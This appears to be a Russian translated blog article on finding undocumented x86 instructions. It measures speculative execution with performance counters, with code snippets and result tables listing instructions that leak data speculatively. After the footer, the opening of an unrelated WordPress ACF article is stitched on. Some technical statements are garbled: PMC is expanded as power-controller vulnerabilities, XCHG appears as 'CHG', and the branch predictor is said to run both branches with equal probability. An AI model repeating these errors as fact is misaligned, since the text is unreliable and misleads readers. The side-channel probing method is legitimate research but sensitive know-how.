### Исполнение команд в параллельной вселенной
Теперь проблема заключается в том, чтобы получить эти инструкции. Исполнять все подряд – не вариант, потому что исполнение инструкции может, к примеру, вызвать сброс системы или испортить внутренний кэш. Как этого избежать? Очень просто – не исполнять! И здесь начинается вторая интересная особенность микроархитектуры: спекулятивное и неупорядоченное исполнение (speculative execution).
Что происходит в процессоре при исполнении инструкции? Сначала модуль предсказания переходов пытается угадать ветвь, по которой будет выполнен переход. Это позволяет снизить затраты вычислительных ресурсов процессора. При этом модуль предсказания даёт равную вероятность исполнения обеих веток одновременно там, где это возможно. Потом одна из них возвращает свои конечные изменения. Как раз то, что нам нужно.
Проще всего реализовать это через CALL. Рассмотрим следующий фрагмент:
```
call x
x:
lea rax, [rip+z]
xchg [rsp], rax
ret
z:
```
Это приведёт к исполнению спекулятивного кода и остановке вызванной подпрограммы, если такое возможно. Команда `XCHG` может показаться избыточной, но практика показывает, что процессор слишком умен, чтобы начать исполнять другую ветку, если процедура не возвращает изменения. Поэтому нужно дать целевому буферу ветки то, что ему требуется. Здесь лучше использовать `CHG`, а не `MOV`, чтобы ввести в состояние`LOCK`, что вызовет простой в памяти процессора. В теории это поможет нам обеспечить атомарность.
Также нужно удалить буфер декодированного потока, чтобы не получать никаких микрокоманд, загружаемых из кэша. Это можно решить довольно просто. Кэш инструкций вынужден также обрабатывать самоперезаписывающийся код, поэтому память исполнительного устройства чрезвычайно чувствительна к любой записи. Перед каждым замером добавим простой фрагмент:
```
auto ip = ia32::get_ip() & ~63ull;
std::copy_n( ( volatile uint8_t* ) ip, 512, ( volatile uint8_t* ) ip );
ia32::sfence();
for ( size_t n = 0; n != 512; n += 64 )
ia32::clflush( ip + n );
```
### Точный сбор данных
Переходим к практике. Нам нужны точные результаты, что подразумевает непрерывность работы. Вы можете ошибочно считать, что находитесь в режиме ядра, а значит проблема решается запуском командной строки. Но на самом деле это не так. Во-первых, `#SMI` (System Management Interrupt или прерывание управления системой), как выяснилось, не так уж хорошо справляется с остановкой **PMC** (Уязвимости контроллера управления питанием). Во-вторых, это, в любом случае, мешает чистоте эксперимента. Поэтому Кан повторял опыты, пока `IA32_MSR_SMI_COUNT` не стал постоянным во время выполнения. Другой багер – **#NMI**. С ним можно справиться с помощью установки прерывания. Также стоило бы принимать во внимание **#MC**, но на него можно забить.
Повторяя эксперимент множество раз, выбирая `Mod(x)` и тщательно прописывая код, вы избежите большинства оставшихся проблем. Следующий шаг – написание кода и, собственно, сбор данных. Спекулятивный код будет состоять из 15 копий `NOP` и одной `0xCE` в конце, что позволит вызвать фактическое выполнение `#UD` и остановить спекулятивное выполнение. Мы будем пробовать практически каждый код операции в диапазоне `0x00-0xFF`, и все они будут иметь префикс `0x0F` или, возможно, другой префикс из набора { `0x66`, `0xF2`, `0xF3` } поскольку Intel любит использовать их для создания новых кодов операций. Нам также нужно добавить суффикс для обнаружения вариантов ModR/M, но это занимает считанные секунды.
### Сведение результатов
Для начала возьмём два базовых замера: NOP, как он есть, и `0xCE`, как первый операционный код, который покажет значения для завершенного исполнения команды и для случая `for-real-#UD`.
Чтобы убрать основную часть «мусора», сразу удаляем все замеры, соответствующие случаю `for-real-#UD`. Остаётся избавиться от избыточных префиксов. Шаблон:
```
┌─────────┬──────────────────────────────────┬──────┬────┐
│ (index) │ decoding │ mits │ ms │
├─────────┼──────────────────────────────────┼──────┼────┤
│ 90 │ 'nop' │ 54 │ 80 │ /*Baseline*/
│ 6690 │ 'data16 nop' │ 53 │ 67 │
│ f290 │ 'nop' │ 53 │ 80 │
│ f20f90 │ 'seto byte ptr [rax-0x6f6f6f70]' │ 48 │ 80 │
└─────────┴──────────────────────────────────┴──────┴────┘
```
Каждый nop преобразуется в отдельную микрокоманду, которая будет обрабатываться MITE. Если префикс избыточен, MITS должна всегда отключаться только одной командой, а MS при этом будет оставаться прежней. Кроме того, мы можем отфильтровать часть избыточных проверок, задав условие, что `0x0F` никогда не должен быть лишним. Объединив оба этих условия, мы уберём практически весь мусор и даже сможем аккуратно вычислить длину инструкции. Приведённый ниже код позволяет избавиться от 54954 ненужных записей.
```
const propertyMatch = (i1, i2) => {
return i2.ms == i1.ms && i2.outOfOrder == i1.outOfOrder && i2.iclass == i1.iclass;
};
// Purge redundant prefixes.
//
for (const k1 of Object.keys(instructions)) {
// Skip if already deleted.
//
const i1 = instructions[k1];
if (!i1) {
continue;
}
// Iterate each prefix (apart from 0f):
//
for (const pfx of prefixList) {
// If the instruction exists:
//
const k2 = pfx + k1;
if (k2 in instructions) {
// If the instruction has matching properties as the derived from parent, delete the entry.
//
const i2 = instructions[k2];
if (propertyMatch(i1, i2)) {
// MITS#1 == MITS#2 can indicate same instruction if instruction halts.
// Otherwise MITS#1 has to be one more than MITS#2 since it should execute one more NOP.
//
if (i1.mits != i2.mits) {
if (i1.mits != i2.mits + 1) {
continue;
}
} else if (i1.mits > faultBaseline.mits) {
continue;
}
delete instructions[k2];
}
}
}
}
```
Фильтрация на основе суффиксов делается плюс-минус аналогично и позволяет избавиться ещё от 72869 инструкций. В итоге останется 1699 записей, которых достаточно для начала анализа!
```
// Purge redundant suffixes.
//
for (const k1 of Object.keys(instructions)) {
// Skip if already deleted or not relevant.
//
const i1 = instructions[k1];
if (!i1 || k1.length <= 2) {
continue;
}
// Find maching entries:
//
for (const k2 of Object.keys(instructions)) {
// If it is matching except the last byte:
//
if (k2.startsWith(k1.substr(0, k1.length - 2)) && k2 != k1) {
// If it has matching properties ignoring the length, erase it
//
const i2 = instructions[k2];
if (propertyMatch(i1, i2)) {
delete instructions[k2];
}
}
}
}
```
### Анализ поведения
Теперь рассмотрим тот поразительный объем информации, которую мы собрали только с этих двух счётчиков и некоторых байтов, расположенных в фиксированном месте, но даже не выполняемых. Если MS ниже базовой линии nop, это будет означать, что поток управления прерван, то есть перед нами ветвь или исключение. Если MITS совпадает с базовой линией, это, вероятно, указывает на инструкцию сериализации, которая выполнила несколько микрокоманд (при условии, что она прошла начальный фильтр MS или MITS, не оставаясь прежней), но затем остановила спекулятивный поток (поскольку ни один из кодов операций NOP не был декодирован).
```
┌──────────┬────────────────────────────────────────────────────────────┬──────┬─────┬─────────────┬──────────────────┐
│ (index) │ decoding │ mits │ ms │ serializing │ speculationFence │
├──────────┼────────────────────────────────────────────────────────────┼──────┼─────┼─────────────┼──────────────────┤
│ 668690 │ 'xchg byte ptr [rax-0x6f6f6f70], dl' │ 47 │ 88 │ true │ false │
│ 6c │ 'insb ' │ 39 │ 112 │ true │ true │
│ 6d │ 'insd ' │ 39 │ 99 │ true │ true │
│ 6e │ 'outsb ' │ 39 │ 98 │ true │ true │
│ 6f │ 'outsd ' │ 39 │ 98 │ true │ true │
│ 8e90 │ 'mov ss, word ptr [rax-0x6f6f6f70]' │ 42 │ 86 │ true │ true │
│ c290 │ 'ret 0x9090' │ 43 │ 107 │ true │ true │ // <--- Likely errors since
│ c3 │ 'ret ' │ 41 │ 106 │ true │ true │ // <-/ CF will be interrupted
│ ca90 │ 'ret far 0x9090' │ 39 │ 145 │ true │ true │ // but will continue from a valid IP.
│ cb │ 'ret far ' │ 39 │ 145 │ true │ true │
│ cc │ 'int3 ' │ 39 │ 94 │ true │ true │
│ cd90 │ 'int 0x90' │ 39 │ 91 │ true │ true │
│ cf │ 'iretd ' │ 39 │ 136 │ true │ true │
│ e490 │ 'in al, 0x90' │ 39 │ 110 │ true │ true │
│ e590 │ 'in eax, 0x90' │ 39 │ 110 │ true │ true │
│ e690 │ 'out 0x90, al' │ 39 │ 110 │ true │ true │
│ e790 │ 'out 0x90, eax' │ 39 │ 110 │ true │ true │
│ ec │ 'in al, dx' │ 39 │ 109 │ true │ true │
│ ed │ 'in eax, dx' │ 39 │ 109 │ true │ true │
│ ee │ 'out dx, al' │ 39 │ 109 │ true │ true │
│ ef │ 'out dx, eax' │ 39 │ 109 │ true │ true │
│ f1 │ 'int1 ' │ 39 │ 112 │ true │ true │
│ f4 │ 'hlt' │ 39 │ 124 │ true │ true │
│ 0f0090 │ 'lldt word ptr [rax-0x6f6f6f70]' │ 47 │ 93 │ true │ true │
│ 0f0098 │ 'ltr word ptr [rax-0x6f6f6f70]' │ 39 │ 110 │ true │ true │
│ 0f0080 │ 'sldt word ptr [rax-0x6f6f6f70]' │ 47 │ 87 │ true │ false │
│ 0f0081 │ 'sldt word ptr [rcx-0x6f6f6f70]' │ 47 │ 87 │ true │ false │
│ 0f0088 │ 'str word ptr [rax-0x6f6f6f70]' │ 47 │ 87 │ true │ false │
│ 0f00a0 │ 'verr word ptr [rax-0x6f6f6f70]' │ 47 │ 91 │ true │ true │
│ 0f00a8 │ 'verw word ptr [rax-0x6f6f6f70]' │ 47 │ 91 │ true │ true │
│ 0f00d8 │ 'ltr ax' │ 39 │ 108 │ true │ true │
│ 0f0190 │ 'lgdt ptr [rax-0x6f6f6f70]' │ 47 │ 94 │ true │ true │
│ 0f0198 │ 'lidt ptr [rax-0x6f6f6f70]' │ 47 │ 94 │ true │ true │
│ 0f0180 │ 'sgdt ptr [rax-0x6f6f6f70]' │ 47 │ 89 │ true │ false │
│ 0f0188 │ 'sidt ptr [rax-0x6f6f6f70]' │ 47 │ 88 │ true │ false │
│ 0f01b0 │ 'lmsw word ptr [rax-0x6f6f6f70]' │ 39 │ 103 │ true │ true │
│ 0f01b8 │ 'invlpg byte ptr [rax-0x6f6f6f70]' │ 39 │ 114 │ true │ true │
│ 0f01a0 │ 'smsw word ptr [rax-0x6f6f6f70]' │ 47 │ 85 │ true │ false │
│ f20f22a4 │ 'mov cr4, rsp' │ 39 │ 103 │ true │ true │
│ f20f2396 │ 'mov dr2, rsi' │ 39 │ 110 │ true │ true │
│ f20f2380 │ 'mov dr0, rax' │ 39 │ 109 │ true │ true │
│ f20fc788 │ 'cmpxchg8b qword ptr [rax-0x6f6f6f70]' │ 46 │ 95 │ true │ false │
│ f20fc78a │ 'cmpxchg8b qword ptr [rdx-0x6f6f6f70]' │ 46 │ 95 │ true │ false │
│ f38690 │ 'xrelease xchg byte ptr [rax-0x6f6f6f70], dl' │ 47 │ 88 │ true │ false │
│ f38790 │ 'xrelease xchg dword ptr [rax-0x6f6f6f70], edx' │ 47 │ 88 │ true │ false │
│ f38890 │ 'xrelease mov byte ptr [rax-0x6f6f6f70], dl' │ 47 │ 84 │ true │ false │
│ f38990 │ 'xrelease mov dword ptr [rax-0x6f6f6f70], edx' │ 47 │ 84 │ true │ false │
│ f36c │ 'rep insb ' │ 39 │ 112 │ true │ true │
│ f36d │ 'rep insd ' │ 39 │ 112 │ true │ true │
│ f36e │ 'rep outsb ' │ 39 │ 111 │ true │ true │
│ f36f │ 'rep outsd ' │ 39 │ 111 │ true │ true │
│ f3a4 │ 'rep movsb byte ptr [rdi], byte ptr [rsi]' │ 43 │ 118 │ true │ true │ //
│ f3a6 │ 'rep cmpsb byte ptr [rsi], byte ptr [rdi]' │ 43 │ 123 │ true │ true │ //
│ f3a7 │ 'rep cmpsd dword ptr [rsi], dword ptr [rdi]' │ 43 │ 123 │ true │ true │ //
│ f3aa │ 'rep stosb byte ptr [rdi]' │ 43 │ 125 │ true │ true │ // Likely errors since
│ f3ac │ 'rep lodsb byte ptr [rsi]' │ 43 │ 106 │ true │ true │ // rcx is undefined.
│ f3ad │ 'rep lodsd dword ptr [rsi]' │ 43 │ 106 │ true │ true │ //
│ f3ae │ 'rep scasb byte ptr [rdi]' │ 43 │ 123 │ true │ true │ //
│ f3af │ 'rep scasd dword ptr [rdi]' │ 43 │ 123 │ true │ true │ //
│ f30f0082 │ 'sldt word ptr [rdx-0x6f6f6f70]' │ 46 │ 87 │ true │ false │
│ f30f0088 │ 'str word ptr [rax-0x6f6f6f70]' │ 46 │ 87 │ true │ false │
│ f30f0180 │ 'sgdt ptr [rax-0x6f6f6f70]' │ 46 │ 89 │ true │ false │
│ f30f018a │ 'sidt ptr [rdx-0x6f6f6f70]' │ 46 │ 88 │ true │ false │
│ f30f01a1 │ 'smsw word ptr [rcx-0x6f6f6f70]' │ 46 │ 85 │ true │ false │
│ f30f2190 │ 'mov rax, dr2' │ 39 │ 107 │ true │ true │
│ f30f22a4 │ 'mov cr4, rsp' │ 39 │ 103 │ true │ true │
│ f30f2380 │ 'mov dr0, rax' │ 39 │ 109 │ true │ true │
│ f30f238e │ 'mov dr1, rsi' │ 39 │ 110 │ true │ true │
│ f30f7890 │ '' │ 39 │ 87 │ true │ true │
│ f30f7990 │ '' │ 39 │ 87 │ true │ true │
│ f30fc789 │ 'cmpxchg8b qword ptr [rcx-0x6f6f6f70]' │ 46 │ 95 │ true │ false │
│ f30fc78f │ 'cmpxchg8b qword ptr [rdi-0x6f6f6f70]' │ 46 │ 95 │ true │ false │
│ f30fc7b0 │ 'vmxon qword ptr [rax-0x6f6f6f70]' │ 39 │ 116 │ true │ true │
│ f30fc733 │ 'vmxon qword ptr [rbx]' │ 39 │ 119 │ true │ true │
│ f30fc776 │ 'vmxon qword ptr [rsi-0x70]' │ 39 │ 120 │ true │ true │
└──────────┴────────────────────────────────────────────────────────────┴──────┴─────┴─────────────┴──────────────────┘
```
### Анализ спекулятивного поведения
Обратили внимание на столбец «Speculation Fence» (Заграждение для спекуляций) в предыдущем блоке данных? Чтобы узнать, выполняются ли инструкции спекулятивно или они останавливают очередь ради получения результатов от побочного канала, соберём ещё один вид информации из довольно неожиданного источника:
Что с этим делать? Этот счётчик очень полезен, ведь в предыдущем коде мы не делали никаких разделений. Теперь добавляется разделение сразу после инструкции и проверка отличия циклов от нуля. Это позволят узнать, было ли остановлено спекулятивное выполнение или нет.
Нам нужно сжать divps xmm4, xmm5 прямо перед #UD'ing, 0xCE и потратить несколько циклов на неспекулятивную копию, чтобы вызвать остановку. Это даст спекулятивному коду больше времени для выполнения. Изменение предыдущего кода на следующий даёт нам идеальную настройку:
```
vmovups ymm0, [temp]
vmovups ymm1, [temp]
vmovups ymm2, [temp]
vmovups ymm3, [temp]
vzeroupper
addps xmm0, xmm1
vaddps ymm2, ymm0, ymm3
vaddps ymm1, ymm0, ymm2
vaddps ymm3, ymm0, ymm1
vaddps ymm0, ymm0, [temp]
vaddps ymm1, ymm0, [temp]
vaddps ymm2, ymm0, [temp]
vaddps ymm3, ymm0, [temp]
vaddps ymm0, ymm0, ymm1
vaddps ymm2, ymm0, ymm3
vaddps ymm1, ymm0, ymm2
vaddps ymm3, ymm0, ymm1
vaddps ymm0, ymm0, [temp]
vaddps ymm1, ymm0, [temp]
vaddps ymm2, ymm0, [temp]
vaddps ymm3, ymm0, [temp]
vaddps ymm0, ymm0, ymm1
vaddps ymm2, ymm0, ymm3
vaddps ymm1, ymm0, ymm2
vaddps ymm3, ymm0, ymm1
vaddps ymm0, ymm0, [temp]
vaddps ymm1, ymm0, [temp]
vaddps ymm2, ymm0, [temp]
vaddps ymm3, ymm0, [temp]
vaddps ymm0, ymm0, ymm1
vaddps ymm2, ymm0, ymm3
vaddps ymm1, ymm0, ymm2
vaddps ymm3, ymm0, ymm1
lea rax, [rip+z]
xchg [rsp], rax
ret
```
Пометка записей с ненулевым счётом, как «спекулятивных», позволяет узнать, какие инструкции мы можем спекулятивно выполнять, чтобы получить информацию. На следующем примере видно, что это отлично работает:
```
-- These indeed leak data under speculative execution:
┌──────────┬────────────────────────────────────────────────────────────┬──────┬─────┬─────────────┬──────────────────┐
│ (index) │ decoding │ mits │ ms │ serializing │ speculationFence │
├──────────┼────────────────────────────────────────────────────────────┼──────┼─────┼─────────────┼──────────────────┤
│ 8690 │ 'xchg byte ptr [rax-0x6f6f6f70], dl' │ 48 │ 88 │ false │ false │
│ e090 │ 'loopne 0xffffffffffffff92' │ 56 │ 87 │ false │ false │
│ fb │ 'sti ' │ 56 │ 83 │ false │ false │
│ fc │ 'cld ' │ 53 │ 83 │ false │ false │
│ 0f0080 │ 'sldt word ptr [rax-0x6f6f6f70]' │ 47 │ 87 │ true │ false │
│ 0f0081 │ 'sldt word ptr [rcx-0x6f6f6f70]' │ 47 │ 87 │ true │ false │
│ 0f0088 │ 'str word ptr [rax-0x6f6f6f70]' │ 47 │ 87 │ true │ false │
│ 0f00c0 │ 'sldt eax' │ 51 │ 85 │ false │ false │
│ 0f00c8 │ 'str eax' │ 51 │ 85 │ false │ false │
│ 0f0009 │ 'str word ptr [rcx]' │ 51 │ 87 │ false │ false │
│ 0f0180 │ 'sgdt ptr [rax-0x6f6f6f70]' │ 47 │ 89 │ true │ false │
│ 0f0188 │ 'sidt ptr [rax-0x6f6f6f70]' │ 47 │ 88 │ true │ false │
│ 0f01a0 │ 'smsw word ptr [rax-0x6f6f6f70]' │ 47 │ 85 │ true │ false │
│ 0f01a1 │ 'smsw word ptr [rcx-0x6f6f6f70]' │ 47 │ 85 │ true │ false │
│ 0f01d0 │ 'xgetbv ' │ 51 │ 88 │ false │ false │
│ 0f01d5 │ 'xend' │ 51 │ 84 │ false │ false │
│ 0f01e0 │ 'smsw eax' │ 51 │ 84 │ false │ false │
│ 0f010f │ 'sidt ptr [rdi]' │ 51 │ 88 │ false │ false │
│ 0f0140 │ 'sgdt ptr [rax-0x70]' │ 50 │ 89 │ false │ false │
│ 0f2098 │ 'mov rax, cr3' │ 51 │ 88 │ false │ false │
│ 0f2080 │ 'mov rax, cr0' │ 51 │ 85 │ false │ false │
│ 0f31 │ 'rdtsc ' │ 52 │ 93 │ false │ false │
│ 0f77 │ 'emms' │ 52 │ 111 │ false │ false │
│ 0fa1 │ 'pop fs' │ 52 │ 87 │ false │ false │
│ 0fa390 │ 'bt dword ptr [rax-0x6f6f6f70], edx' │ 51 │ 86 │ false │ false │
...
│ f30f0082 │ 'sldt word ptr [rdx-0x6f6f6f70]' │ 46 │ 87 │ true │ false │
│ f30f0088 │ 'str word ptr [rax-0x6f6f6f70]' │ 46 │ 87 │ true │ false │
│ f30f0006 │ 'sldt word ptr [rsi]' │ 50 │ 87 │ false │ false │
│ f30f000a │ 'str word ptr [rdx]' │ 50 │ 87 │ false │ false │
│ f30f0180 │ 'sgdt ptr [rax-0x6f6f6f70]' │ 46 │ 89 │ true │ false │
│ f30f018a │ 'sidt ptr [rdx-0x6f6f6f70]' │ 46 │ 88 │ true │ false │
│ f30f01a1 │ 'smsw word ptr [rcx-0x6f6f6f70]' │ 46 │ 85 │ true │ false │
│ f30f010f │ 'sidt ptr [rdi]' │ 50 │ 88 │ false │ false │
│ f30f0126 │ 'smsw word ptr [rsi]' │ 50 │ 85 │ false │ false │
│ f30f0140 │ 'sgdt ptr [rax-0x70]' │ 49 │ 89 │ false │ false │
│ f30faed0 │ 'wrfsbase eax' │ 50 │ 87 │ false │ false │
│ f30faed8 │ 'wrgsbase eax' │ 50 │ 87 │ false │ false │
│ f30faec0 │ 'rdfsbase eax' │ 50 │ 86 │ false │ false │
│ f30faec8 │ 'rdgsbase eax' │ 50 │ 86 │ false │ false │
│ f30fb391 │ 'btr dword ptr [rcx-0x6f6f6f70], edx' │ 50 │ 86 │ false │ false │
│ f30fb39f │ 'btr dword ptr [rdi-0x6f6f6f70], ebx' │ 50 │ 86 │ false │ false │
│ f30fbb92 │ 'btc dword ptr [rdx-0x6f6f6f70], edx' │ 50 │ 86 │ false │ false │
│ f30fbb94 │ 'btc dword ptr [rax+rdx*4-0x6f6f6f70], edx' │ 49 │ 86 │ false │ false │
│ f30fc789 │ 'cmpxchg8b qword ptr [rcx-0x6f6f6f70]' │ 46 │ 95 │ true │ false │
│ f30fc78f │ 'cmpxchg8b qword ptr [rdi-0x6f6f6f70]' │ 46 │ 95 │ true │ false │
└──────────┴────────────────────────────────────────────────────────────┴──────┴─────┴─────────────┴──────────────────┘
-- Yet these do not:
┌──────────┬─────────────────────────────────────────────────┬──────┬─────┬─────────────┬──────────────────┐
│ (index) │ decoding │ mits │ ms │ serializing │ speculationFence │
├──────────┼─────────────────────────────────────────────────┼──────┼─────┼─────────────┼──────────────────┤
│ 6c │ 'insb ' │ 39 │ 112 │ true │ true │
│ 6d │ 'insd ' │ 39 │ 99 │ true │ true │
│ 6e │ 'outsb ' │ 39 │ 98 │ true │ true │
│ 6f │ 'outsd ' │ 39 │ 98 │ true │ true │
│ 8e90 │ 'mov ss, word ptr [rax-0x6f6f6f70]' │ 42 │ 86 │ true │ true │
│ 9d │ 'popfq ' │ 55 │ 87 │ false │ true │
│ c290 │ 'ret 0x9090' │ 43 │ 107 │ true │ true │
│ c3 │ 'ret ' │ 41 │ 106 │ true │ true │
│ c890 │ 'enter 0x9090, 0x90' │ 50 │ 93 │ false │ true │
│ ca90 │ 'ret far 0x9090' │ 39 │ 145 │ true │ true │
│ cb │ 'ret far ' │ 39 │ 145 │ true │ true │
│ cc │ 'int3 ' │ 39 │ 94 │ true │ true │
│ cd90 │ 'int 0x90' │ 39 │ 91 │ true │ true │
│ cf │ 'iretd ' │ 39 │ 136 │ true │ true │
│ e190 │ 'loope 0xffffffffffffff92' │ 64 │ 83 │ false │ true │
│ e490 │ 'in al, 0x90' │ 39 │ 110 │ true │ true │
│ e590 │ 'in eax, 0x90' │ 39 │ 110 │ true │ true │
│ e690 │ 'out 0x90, al' │ 39 │ 110 │ true │ true │
│ e790 │ 'out 0x90, eax' │ 39 │ 110 │ true │ true │
│ ec │ 'in al, dx' │ 39 │ 109 │ true │ true │
│ ed │ 'in eax, dx' │ 39 │ 109 │ true │ true │
│ ee │ 'out dx, al' │ 39 │ 109 │ true │ true │
│ ef │ 'out dx, eax' │ 39 │ 109 │ true │ true │
│ f1 │ 'int1 ' │ 39 │ 112 │ true │ true │
│ f390 │ 'pause' │ 52 │ 86 │ false │ true │
│ f4 │ 'hlt' │ 39 │ 124 │ true │ true │
│ fd │ 'std ' │ 53 │ 83 │ false │ true │
│ 0f0090 │ 'lldt word ptr [rax-0x6f6f6f70]' │ 47 │ 93 │ true │ true │
│ 0f0098 │ 'ltr word ptr [rax-0x6f6f6f70]' │ 39 │ 110 │ true │ true │
│ 0f00a0 │ 'verr word ptr [rax-0x6f6f6f70]' │ 47 │ 91 │ true │ true │
│ 0f00a8 │ 'verw word ptr [rax-0x6f6f6f70]' │ 47 │ 91 │ true │ true │
│ 0f00d0 │ 'lldt ax' │ 51 │ 91 │ false │ true │
│ 0f00d8 │ 'ltr ax' │ 39 │ 108 │ true │ true │
...
│ 0f00e0 │ 'verr ax' │ 51 │ 90 │ false │ true │
│ 0f00e8 │ 'verw ax' │ 51 │ 90 │ false │ true │
│ 0f0190 │ 'lgdt ptr [rax-0x6f6f6f70]' │ 47 │ 94 │ true │ true │
│ 0f0198 │ 'lidt ptr [rax-0x6f6f6f70]' │ 47 │ 94 │ true │ true │
│ 0f01b0 │ 'lmsw word ptr [rax-0x6f6f6f70]' │ 39 │ 103 │ true │ true │
│ 0f01b8 │ 'invlpg byte ptr [rax-0x6f6f6f70]' │ 39 │ 114 │ true │ true │
│ 0f01d1 │ 'xsetbv ' │ 51 │ 117 │ false │ true │
│ 0f01d2 │ '' │ 39 │ 87 │ true │ true │
│ 0f01d4 │ 'vmfunc ' │ 39 │ 83 │ true │ true │
│ 0f2193 │ 'mov rbx, dr2' │ 39 │ 107 │ true │ true │
└──────────┴─────────────────────────────────────────────────┴──────┴─────┴─────────────┴──────────────────┘
```
### Некоторые интересные результаты
Вот полный перечень ~~незадокументированных~~ инструкций-пасхалок, которые Кан Бёлюк нашёл на своём i7 6850k:
```
┌──────────┬──────────┬──────┬─────┬─────────────┬──────────────────┐
│ (index) │ decoding │ mits │ ms │ serializing │ speculationFence │
├──────────┼──────────┼──────┼─────┼─────────────┼──────────────────┤
│ 0f01d2 │ '' │ 39 │ 87 │ true │ true │
│ 0f01c6 │ '' │ 39 │ 83 │ true │ true │
│ 0f01cc │ '' │ 39 │ 104 │ true │ true │
│ 0f0c90 │ '' │ 39 │ 138 │ true │ true │ /* Recent CRBUS leaking instruction, 90 is the next NOP. */
│ 0f0e │ 'femms' │ 52 │ 101 │ false │ true │ /* Recent CRBUS leaking instruction */
│ 0faed0 │ '' │ 39 │ 87 │ true │ true │
│ 0fc790 │ '' │ 39 │ 87 │ true │ true │
│ 660f3883 │ '' │ 39 │ 81 │ true │ true │
│ 660f3860 │ '' │ 39 │ 87 │ true │ true │
│ 660f3a80 │ '' │ 39 │ 87 │ true │ true │
│ f30f7890 │ '' │ 39 │ 87 │ true │ true │
│ f30f7990 │ '' │ 39 │ 87 │ true │ true │
│ f30fe7fc │ '' │ 73 │ 80 │ false │ true │
└──────────┴──────────┴──────┴─────┴─────────────┴──────────────────┘
```
Вопреки всеобщему мнению `mov cr2`, `reg` не сериализированы.
```
┌──────────┬────────────────┬──────┬─────┬─────────────┬──────────────────┐
│ (index) │ decoding │ mits │ ms │ serializing │ speculationFence │
├──────────┼────────────────┼──────┼─────┼─────────────┼──────────────────┤
│ 0f2090 │ 'mov rax, cr2' │ 51 │ 83 │ false │ false │
│ 0f2098 │ 'mov rax, cr3' │ 51 │ 88 │ false │ false │
│ 0f2080 │ 'mov rax, cr0' │ 51 │ 85 │ false │ false │
│ 0f2290 │ 'mov cr2, rax' │ 51 │ 87 │ false │ true │ /* ! */
│ 0f2298 │ 'mov cr3, rax' │ 39 │ 161 │ true │ true │
│ 0f2299 │ 'mov cr3, rcx' │ 39 │ 151 │ true │ true │
│ 0f229b │ 'mov cr3, rbx' │ 39 │ 155 │ true │ true │
│ 0f2280 │ 'mov cr0, rax' │ 39 │ 110 │ true │ true │
│ 0f2281 │ 'mov cr0, rcx' │ 39 │ 153 │ true │ true │
│ 0f22a0 │ 'mov cr4, rax' │ 39 │ 103 │ true │ true │
│ 0f22a1 │ 'mov cr4, rcx' │ 39 │ 120 │ true │ true │
│ 0f22a4 │ 'mov cr4, rsp' │ 39 │ 104 │ true │ true │
│ 660f22a4 │ 'mov cr4, rsp' │ 39 │ 103 │ true │ true │
│ f20f22a4 │ 'mov cr4, rsp' │ 39 │ 103 │ true │ true │
│ f30f22a4 │ 'mov cr4, rsp' │ 39 │ 103 │ true │ true │
└──────────┴────────────────┴──────┴─────┴─────────────┴──────────────────┘
```
Несмотря на отсутствие проверки CPL для `int imm8`, `int1` имеет больше логики в микрокоде.
```
┌─────────┬────────────┬──────┬─────┬─────────────┬──────────────────┐
│ (index) │ decoding │ mits │ ms │ serializing │ speculationFence │
├─────────┼────────────┼──────┼─────┼─────────────┼──────────────────┤
│ cc │ 'int3 ' │ 39 │ 94 │ true │ true │
│ cd90 │ 'int 0x90' │ 39 │ 91 │ true │ true │
│ f1 │ 'int1 ' │ 39 │ 112 │ true │ true │
└─────────┴────────────┴──────┴─────┴─────────────┴──────────────────┘
```
`mov ss` – это заграждение для спекуляций, а `cli` – нет. `lss` является заграждением для спекуляций, а `lgs` не является.
```
┌─────────┬────────────────────────────────────────────────┬──────┬────┬─────────────┬──────────────────┐
│ (index) │ decoding │ mits │ ms │ serializing │ speculationFence │
├─────────┼────────────────────────────────────────────────┼──────┼────┼─────────────┼──────────────────┤
│ 8890 │ 'mov byte ptr [rax-0x6f6f6f70], dl' │ 49 │ 80 │ false │ false │
│ 8990 │ 'mov dword ptr [rax-0x6f6f6f70], edx' │ 49 │ 80 │ false │ false │
│ 668890 │ 'mov byte ptr [rax-0x6f6f6f70], dl' │ 48 │ 80 │ false │ false │
│ 8a90 │ 'mov dl, byte ptr [rax-0x6f6f6f70]' │ 49 │ 80 │ false │ false │
│ 8b90 │ 'mov edx, dword ptr [rax-0x6f6f6f70]' │ 49 │ 80 │ false │ false │
│ 8c90 │ 'mov word ptr [rax-0x6f6f6f70], ss' │ 50 │ 80 │ false │ false │
│ 8e90 │ 'mov ss, word ptr [rax-0x6f6f6f70]' │ 42 │ 86 │ true │ true │ /* ! */
│ fa │ 'cli ' │ 56 │ 80 │ false │ false │
│ 0fb290 │ 'lss edx, ptr [rax-0x6f6f6f70]' │ 39 │ 89 │ true │ true │ /* ! */
│ 0fb590 │ 'lgs edx, ptr [rax-0x6f6f6f70]' │ 47 │ 89 │ true │ false │
└─────────┴────────────────────────────────────────────────┴──────┴────┴─────────────┴──────────────────┘
```
---
**Что ещё интересного есть в блоге**[**Cloud4Y**](https://www.cloud4y.ru/?utm_source=habr&utm_medium=referral&utm_campaign=article)
→ [Частые ошибки в настройках Nginx, из-за которых веб-сервер становится уязвимым](https://habr.com/ru/company/cloud4y/blog/547164/)
→ [Пароль как крестраж: ещё один способ защитить свои учётные данные](https://habr.com/ru/company/cloud4y/blog/541348/)
→ [Облачная кухня: готовим данные для мониторинга с помощью vCloud API и скороварки](https://habr.com/ru/company/cloud4y/blog/555722/)
→ [Подготовка шаблона vApp тестовой среды VMware vCenter + ESXi](https://habr.com/ru/company/cloud4y/blog/542000/)
→ [Почему ваш бизнес может быть разрушен](https://habr.com/ru/company/cloud4y/blog/553920/)
Подписывайтесь на наш [Telegram](https://t.me/cloud4y)-канал, чтобы не пропустить очередную статью. Пишем не чаще двух раз в неделю и только по делу. | https://habr.com/ru/post/560438/ | null | ru | null |
# Отображаем ACF поля красиво и без кодинга
Плагин Advanced Custom Fields используется в WordPress повсеместно, за свою карьеру я встретил лишь несколько сайтов которые обходились без него (весьма специфические). Большой набор типов полей, хороший интерфейс для админов, обширная документация для разработчиков. Казалось бы, чего проще, вывести поля на фронт сайта. Но на практике это делается довольно некрасиво, и занимает гораздо больше времени, чем можно было бы ожидать. Я расскажу как вывести любые ACF поля на фронт без кодинга (и без visual page builders), очень быстро и не превращая код темы в ~~черную дыру~~ спагетти код.
Проблемы кодинга
----------------
```
php the\_field('some\_field'); ?
```
Самый простой пример - вывод поля. Казалось бы, что может быть проще? Но в процессе разработки "всплывают" проблемы.
#### Проблема №1. Постоянное посещение ACF группы в админке
